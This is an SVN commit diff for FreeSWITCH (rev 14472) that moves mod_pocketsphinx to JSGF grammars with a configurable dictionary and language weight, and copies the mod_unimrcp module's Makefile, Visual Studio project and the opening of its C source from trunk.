 	</Configurations>
 	<References>
 	</References>
@@ -186,6 +338,14 @@
 					UsePrecompiledHeader="0"
 				/>
 			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|x64"
+				>
+				<Tool
+					Name="VCCLCompilerTool"
+					UsePrecompiledHeader="0"
+				/>
+			</FileConfiguration>
 		</File>
 	</Files>
 	<Globals>

Modified: freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
@@ -45,6 +45,8 @@
 static struct {
 	char *model8k;
 	char *model16k;
+	char *dictionary;
+	char *language_weight;
 	uint32_t thresh;
 	uint32_t silence_hits;
 	uint32_t listen_hits;
@@ -111,9 +113,9 @@
 }
 
 /*! function to load a grammar to the asr interface */
-static switch_status_t pocketsphinx_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *path)
+static switch_status_t pocketsphinx_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *name)
 {
-	char *lm, *dic, *model, *rate = NULL;
+	char *jsgf, *dic, *model, *rate = NULL;
 	pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
@@ -123,11 +125,9 @@
 	}
 
 	if (switch_is_file_path(grammar)) {
-		lm = switch_mprintf("%s%s%s.lm", grammar, SWITCH_PATH_SEPARATOR, grammar);
-		dic = switch_mprintf("%s%s%s.dic", grammar, SWITCH_PATH_SEPARATOR, grammar);
+		jsgf = switch_mprintf("%s.gram", grammar);
 	} else {
-		lm = switch_mprintf("%s%s%s%s%s.lm", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, grammar, SWITCH_PATH_SEPARATOR, grammar);
-		dic = switch_mprintf("%s%s%s%s%s.dic", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, grammar, SWITCH_PATH_SEPARATOR, grammar);
+		jsgf = switch_mprintf("%s%s%s.gram", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, grammar);
 	}
 
 	if (ah->rate == 8000) {
@@ -135,36 +135,41 @@
 	} else {
 		model = switch_mprintf("%s%smodel%s%s", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, SWITCH_PATH_SEPARATOR, globals.model16k);
 	}
+
+	dic = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, globals.dictionary);
+
 	if (switch_file_exists(dic, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open dictionary %s.\n", dic); 
 		goto end;
 	}
 
-	if (switch_file_exists(lm, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open language model %s.\n", model); 
+	if (switch_file_exists(model, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open speech model %s.\n", model); 
 		goto end;
 	}
 
+	if (switch_file_exists(jsgf, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open grammar file %s.\n", jsgf); 
+		goto end;
+	}
+
 	rate = switch_mprintf("%d", ah->rate); 
 
-	switch_assert(lm && dic && model);
+	switch_assert(jsgf && dic && model);
 	
 	ps->config = cmd_ln_init(ps->config, ps_args(), FALSE,
 							 "-samprate", rate,
 							 "-hmm", model,
-							 "-lm", lm, 
+							 "-jsgf", jsgf, 
+							 "-lw", globals.language_weight,
 							 "-dict", dic,
-#if 0
-							 "-agc", "noise",
-							 "-beam", "1e-60",
-							 "-wbeam", "1e-40",
-							 "-ci_pbeam", "1e-8",
-							 "-subvqbeam", "1e-2",
-#endif
+							 "-frate", "50",
+							 "-silprob", "0.005",
 							 NULL);
 	  
 	if (ps->config == NULL) {
-		return SWITCH_STATUS_GENERR;
+		status = SWITCH_STATUS_GENERR;
+		goto end;
 	}
 
 	switch_mutex_lock(ps->flag_mutex);
@@ -189,7 +194,7 @@
  end:
 	
 	switch_safe_free(rate);
-	switch_safe_free(lm);
+	switch_safe_free(jsgf);
 	switch_safe_free(dic);
 	switch_safe_free(model);
 	
@@ -197,7 +202,7 @@
 }
 
 /*! function to unload a grammar to the asr interface */
-static switch_status_t pocketsphinx_asr_unload_grammar(switch_asr_handle_t *ah, const char *grammar)
+static switch_status_t pocketsphinx_asr_unload_grammar(switch_asr_handle_t *ah, const char *name)
 {
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -205,15 +210,12 @@
 /*! function to close the asr interface */
 static switch_status_t pocketsphinx_asr_close(switch_asr_handle_t *ah, switch_asr_flag_t *flags)
 {
-	char const *hyp;
-	int32_t score;	
 	pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
 
 	switch_mutex_lock(ps->flag_mutex);
 	if (switch_test_flag(ps, PSFLAG_ALLOCATED)) {
 		if (switch_test_flag(ps, PSFLAG_READY)) {
 			ps_end_utt(ps->ps);
-			hyp = ps_get_hyp(ps->ps, &score, &ps->uttid);
 		}
 		ps_free(ps->ps);
 		ps->ps = NULL;
@@ -222,7 +224,7 @@
 	switch_mutex_unlock(ps->flag_mutex);
 	switch_clear_flag(ps, PSFLAG_HAS_TEXT);
 	switch_clear_flag(ps, PSFLAG_READY);
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Port Closed.\n"); 
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Port Closed.\n"); 
 	switch_set_flag(ah, SWITCH_ASR_FLAG_CLOSED);
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -383,20 +385,17 @@
 			ps->confidence = 0;
 		}
 
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Recognized: %s, Score: %d\n", ps->hyp, ps->confidence);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Recognized: %s, Confidence: %d\n", ps->hyp, ps->confidence);
 		switch_mutex_unlock(ps->flag_mutex); 
 
-		*xmlstr = switch_mprintf("<interpretation grammar=\"%s\" score=\"%d\">\n"
-								 "  <result name=\"%s\">%s</result>\n"
-								 "  <input>%s</input>\n"
-								 "</interpretation>",
-								 ps->grammar, ps->confidence,
-								"match", 
-								 ps->hyp, 
-								 ps->hyp
-								 );
+		*xmlstr = switch_mprintf("<?xml version=\"1.0\"?>\n"
+								 "<result grammar=\"%s\">\n"
+								 "  <interpretation grammar=\"%s\" confidence=\"%d\">\n"
+								 "    <input mode=\"speech\">%s</input>\n"
+								 "  </interpretation>\n"
+								 "</result>\n",
+								 ps->grammar, ps->grammar, ps->confidence, ps->hyp);
 
-		
 		if (switch_test_flag(ps, SWITCH_ASR_FLAG_AUTO_RESUME)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Auto Resuming\n");
 			switch_set_flag(ps, PSFLAG_READY);
@@ -436,6 +435,8 @@
 				globals.thresh = atoi(val);
 			} else if (!strcasecmp(var, "silence-hits")) {
 				globals.silence_hits = atoi(val);
+			} else if (!strcasecmp(var, "language-weight")) {
+				globals.language_weight = switch_core_strdup(globals.pool, val);
 			} else if (!strcasecmp(var, "listen-hits")) {
 				globals.listen_hits = atoi(val);
 			} else if (!strcasecmp(var, "auto-reload")) {
@@ -444,6 +445,8 @@
 				globals.model8k = switch_core_strdup(globals.pool, val);
 			} else if (!strcasecmp(var, "wideband-model")) {
 				globals.model16k = switch_core_strdup(globals.pool, val);
+			} else if (!strcasecmp(var, "dictionary")) {
+				globals.dictionary = switch_core_strdup(globals.pool, val);
 			}
 		}
 	}
@@ -456,6 +459,14 @@
 		globals.model16k = switch_core_strdup(globals.pool, "wsj1");
 	}
 
+	if (!globals.dictionary) {
+		globals.dictionary = switch_core_strdup(globals.pool, "default.dic");
+	}
+
+	if (!globals.language_weight) {
+		globals.language_weight = switch_core_strdup(globals.pool, "6.5");
+	}
+
  done:
 	if (xml) {
 		switch_xml_free(xml);
@@ -507,6 +518,10 @@
 	asr_interface->asr_pause = pocketsphinx_asr_pause;
 	asr_interface->asr_check_results = pocketsphinx_asr_check_results;
 	asr_interface->asr_get_results = pocketsphinx_asr_get_results;
+	asr_interface->asr_start_input_timers = NULL;
+	asr_interface->asr_text_param = NULL;
+	asr_interface->asr_numeric_param = NULL;
+	asr_interface->asr_float_param = NULL;
 
 	err_set_logfp(NULL);
 

Copied: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp (from rev 14471, freeswitch/trunk/src/mod/asr_tts/mod_unimrcp)

Property changes: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp


Name: svn:ignore
   + *.user
Win32
Debug
x64
.deps
Makefile.in
Makefile

Deleted: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/Makefile.am

Copied: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/Makefile.am (from rev 14471, freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+MODNAME=mod_unimrcp
+
+AM_CFLAGS   = $(SWITCH_AM_CFLAGS)
+AM_CPPFLAGS = $(SWITCH_AM_CXXFLAGS)
+#AM_LDFLAGS  = $(SWITCH_AM_LDFLAGS)
+#we should set all these vars from configure, no reason to have these in each Makefile.am
+LIBTOOL = echo "`link=\`echo $@|grep .la;echo $@|grep .so;echo $@|grep .dll\`;if test -n "$$link"; then echo Creating $@;fi`";`if test -z "$(VERBOSE)" ; \
+then echo $(SHELL) $(switch_builddir)/quiet_libtool ;else echo $(SHELL) $(switch_builddir)/libtool;  fi`
+AM_MAKEFLAGS=`test -n "$(VERBOSE)" || echo -s`
+# Dirty trick to override the link output
+LIBS+=> $(MODNAME).log || error="yes";if test -n "$(VERBOSE)" -o "$$error" = "yes";then cat $(MODNAME).log;fi;if test "$$error" = "yes";then exit 1;fi
+
+moddir=@modinstdir@
+
+UNIMRCP_DIR=$(switch_builddir)/libs/unimrcp
+UNIMRCPLA=$(UNIMRCP_DIR)/platforms/libunimrcp-client/libunimrcpclient.la
+
+mod_LTLIBRARIES = mod_unimrcp.la
+mod_unimrcp_la_SOURCES = mod_unimrcp.c
+mod_unimrcp_la_CFLAGS  = $(AM_CFLAGS) 
+mod_unimrcp_la_CFLAGS += -I.
+mod_unimrcp_la_CFLAGS += -I$(switch_srcdir)/libs/apr/include
+mod_unimrcp_la_CFLAGS += -I$(switch_srcdir)/libs/apr-util/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/platforms/libunimrcp-client/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/modules/mrcp-sofiasip/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/modules/mrcp-unirtsp/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/libs/mrcp-client/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/libs/mrcp-signaling/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/libs/mrcpv2-transport/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/libs/mrcp/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/libs/mrcp/message/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/libs/mrcp/control/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/libs/mrcp/resources/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/libs/mpf/include
+mod_unimrcp_la_CFLAGS += -I$(UNIMRCP_DIR)/libs/apr-toolkit/include
+
+mod_unimrcp_la_LIBADD = $(switch_builddir)/libfreeswitch.la $(UNIMRCPLA) $(switch_builddir)/libs/apr/libapr-1.la
+mod_unimrcp_la_LDFLAGS = -avoid-version -module -no-undefined
+
+if ISMAC
+mod_unimrcp_la_LDFLAGS += -framework CoreFoundation -framework SystemConfiguration
+endif
+
+BUILT_SOURCES = $(UNIMRCPLA)
+
+$(UNIMRCPLA): $(UNIMRCP_DIR) $(UNIMRCP_DIR)/.update
+	cd $(UNIMRCP_DIR) && $(MAKE)
+	$(TOUCH_TARGET)
+
+$(mod_unimrcp_la_SOURCES) : $(BUILT_SOURCES)

Deleted: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.2008.vcproj

Copied: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,315 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_unimrcp"
+	ProjectGUID="{D07C378A-F5F7-438F-ADF3-4AC4FB1883CD}"
+	RootNamespace="mod_unimrcp"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops;.\unimrcp.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops;.\unimrcp.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;.\unimrcp.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;.\unimrcp.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_unimrcp.c"
+			>
+			<FileConfiguration
+				Name="Debug|Win32"
+				>
+				<Tool
+					Name="VCCLCompilerTool"
+					CompileAs="1"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Debug|x64"
+				>
+				<Tool
+					Name="VCCLCompilerTool"
+					CompileAs="1"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|Win32"
+				>
+				<Tool
+					Name="VCCLCompilerTool"
+					CompileAs="1"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|x64"
+				>
+				<Tool
+					Name="VCCLCompilerTool"
+					CompileAs="1"
+				/>
+			</FileConfiguration>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c

Copied: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c (from rev 14471, freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3660 @@
+/*
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH mod_unimrcp
+ *
+ * The Initial Developer of the Original Code is
+ * Christopher M. Rienzo <chris@rienzo.net>
+ *
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ *
+ * Brian West <brian@freeswitch.org>
+ *
+ * mod_unimrcp.c -- UniMRCP module (MRCP client)
+ *
+ */
+#include <switch.h>
+
+/* UniMRCP includes */
+#include "apt.h"
+#include "apt_log.h"
+#include "unimrcp_client.h"
+#include "mrcp_application.h"
+#include "mrcp_session.h"
+#include "mrcp_message.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_synth_header.h"
+#include "mrcp_synth_resource.h"
+#include "mrcp_recog_header.h"
+#include "mrcp_recog_resource.h"
+
+#include "mrcp_default_factory.h"
+#include "mpf_engine.h"
+#include "mpf_codec_manager.h"
+#include "mpf_rtp_termination_factory.h"
+#include "mrcp_sofiasip_client_agent.h"
+#include "mrcp_unirtsp_client_agent.h"
+#include "mrcp_client_connection.h"
+#include "apt_net.h"
+
+/*********************************************************************************************************************************************
+ * mod_unimrcp : module interface to FreeSWITCH
+ */
+
+/* module name */
+#define MOD_UNIMRCP "unimrcp"
+/* module config file */
+#define CONFIG_FILE "unimrcp.conf"
+
+
+/**
+ * A UniMRCP application.
+ */
+struct mod_unimrcp_application {
+	/** UniMRCP application */
+	mrcp_application_t *app;
+	/** MRCP callbacks from UniMRCP to this module's application */
+	mrcp_app_message_dispatcher_t dispatcher;
+	/** Audio callbacks from UniMRCP to this module's application */
+	mpf_audio_stream_vtable_t audio_stream_vtable;
+	/** maps FreeSWITCH param to MRCP param name */
+	switch_hash_t *fs_param_map;
+	/** maps MRCP header to unimrcp header handler function */
+	switch_hash_t *param_id_map;
+};
+typedef struct mod_unimrcp_application mod_unimrcp_application_t;
+
+/**
+ * module globals - global configuration and variables
+ */
+struct mod_unimrcp_globals {
+	/** max-connection-count config */
+	char *unimrcp_max_connection_count;
+	/** offer-new-connection config */
+	char *unimrcp_offer_new_connection;
+	/** default-tts-profile config */
+	char *unimrcp_default_synth_profile;
+	/** default-asr-profile config */
+	char *unimrcp_default_recog_profile;
+	/** log level for UniMRCP library */	
+	char *unimrcp_log_level;
+	/** the MRCP client stack */
+	mrcp_client_t *mrcp_client;
+	/** synthesizer application */
+	mod_unimrcp_application_t synth;
+	/** recognizer application */
+	mod_unimrcp_application_t recog;
+	/** synchronize access for speech channel numbering */
+	switch_mutex_t *mutex;
+	/** next available speech channel number */
+	int speech_channel_number;
+	/** the available profiles */
+	switch_hash_t *profiles;
+};
+typedef struct mod_unimrcp_globals mod_unimrcp_globals_t;
+
+/** Module global variables */
+static mod_unimrcp_globals_t globals;
+
+/**
+ * Profile-specific configuration.  This allows us to handle differing MRCP server behavior 
+ * on a per-profile basis 
+ */
+struct profile {
+	/** name of the profile */
+	char *name;
+	/** MIME type to use for JSGF grammars */
+	const char *jsgf_mime_type;
+	/** MIME type to use for GSL grammars */
+	const char *gsl_mime_type;
+	/** MIME type to use for SRGS XML grammars */
+	const char *srgs_xml_mime_type;
+	/** MIME type to use for SRGS ABNF grammars */
+	const char *srgs_mime_type;
+};
+typedef struct profile profile_t;
+static switch_status_t profile_create(profile_t **profile, const char *name, switch_memory_pool_t *pool);
+
+/**
+ * Defines XML parsing instructions
+ */
+static switch_xml_config_item_t instructions[] = {
+	SWITCH_CONFIG_ITEM_STRING_STRDUP("max-connection-count", CONFIG_REQUIRED, &globals.unimrcp_max_connection_count, "100", "", "The max MRCPv2 connections to manage"),
+	/* TODO figure out what this param does */
+	SWITCH_CONFIG_ITEM_STRING_STRDUP("offer-new-connection", CONFIG_REQUIRED, &globals.unimrcp_offer_new_connection, "1", "", ""),
+	SWITCH_CONFIG_ITEM_STRING_STRDUP("default-tts-profile", CONFIG_REQUIRED, &globals.unimrcp_default_synth_profile, "default", "", "The default profile to use for TTS"), 
+	SWITCH_CONFIG_ITEM_STRING_STRDUP("default-asr-profile", CONFIG_REQUIRED, &globals.unimrcp_default_recog_profile, "default", "", "The default profile to use for ASR"),
+	SWITCH_CONFIG_ITEM_STRING_STRDUP("log-level", CONFIG_REQUIRED, &globals.unimrcp_log_level, "WARNING", "EMERGENCY|ALERT|CRITICAL|ERROR|WARNING|NOTICE|INFO|DEBUG", "Logging level for UniMRCP"),
+	SWITCH_CONFIG_ITEM_END()
+};
+
+/* mod_unimrcp interface to FreeSWITCH */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_unimrcp_shutdown);
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_unimrcp_runtime);
+SWITCH_MODULE_LOAD_FUNCTION(mod_unimrcp_load);
+SWITCH_MODULE_DEFINITION(mod_unimrcp, mod_unimrcp_load, mod_unimrcp_shutdown, NULL);
+
+static switch_status_t mod_unimrcp_do_config();
+static mrcp_client_t *mod_unimrcp_client_create(switch_memory_pool_t *mod_pool);
+static int process_rtp_config(mrcp_client_t *client, mpf_rtp_config_t *rtp_config, const char *param, const char *val, apr_pool_t *pool);
+static int process_mrcpv1_config(rtsp_client_config_t *config, const char *param, const char *val, apr_pool_t *pool);
+static int process_mrcpv2_config(mrcp_sofia_client_config_t *config, const char *param, const char *val, apr_pool_t *pool);
+static int process_profile_config(profile_t *profile, const char *param, const char *val, apr_pool_t *pool);
+
+/* UniMRCP <--> FreeSWITCH logging bridge */
+static apt_bool_t unimrcp_log(const char *file, int line, const char *id, apt_log_priority_e priority, const char *format, va_list arg_ptr);
+static apt_log_priority_e str_to_log_level(const char *level);
+
+static int get_next_speech_channel_number(void);
+
+#define XML_ID  "<?xml"
+#define GSL_ID  ";GSL2.0"
+#define ABNF_ID "#ABNF"
+#define JSGF_ID "#JSGF"
+#define BUILTIN_ID "builtin:"
+#define SESSION_ID "session:"
+#define HTTP_ID "http://"
+#define INLINE_ID "inline:"
+static int text_starts_with(const char *text, const char *match);
+
+/**
+ * UniMRCP parameter ID container
+ */
+struct unimrcp_param_id {
+	/** The parameter ID */
+	int id;
+};
+typedef struct unimrcp_param_id unimrcp_param_id_t;
+static unimrcp_param_id_t *unimrcp_param_id_create(int id, switch_memory_pool_t *pool);
+
+
+/********************************************************************************************************************************************
+ * AUDIO QUEUE : UniMRCP <--> FreeSWITCH audio buffering
+ */
+
+/* size of the buffer */
+#define AUDIO_QUEUE_SIZE (1024 * 32)
+
+/* Define to enable read/write logging and dumping of queue data to file */
+#undef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
+
+/**
+ * Audio queue internals 
+ */
+struct audio_queue {
+#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
+	/** debug file for tx operations */
+	switch_file_t *file_write;
+	/** debug file name */
+	char file_write_name[30];
+	/** debug file for rx operations */
+	switch_file_t *file_read;
+	/** debug file name */
+	char file_read_name[30];
+#endif
+	/** the buffer of audio data */
+	switch_buffer_t *buffer;
+	/** synchronizes access to queue */
+	switch_mutex_t *mutex;
+	/** signaling for blocked readers/writers */
+	switch_thread_cond_t *cond;
+	/** total bytes written */
+	switch_size_t write_bytes;
+	/** total bytes read */
+	switch_size_t read_bytes;
+	/** number of bytes reader is waiting for */
+	switch_size_t waiting;
+	/** name of this queue (for logging) */
+	char *name;
+};
+typedef struct audio_queue audio_queue_t;
+
+static switch_status_t audio_queue_create(audio_queue_t **queue, const char *name, switch_memory_pool_t *pool);
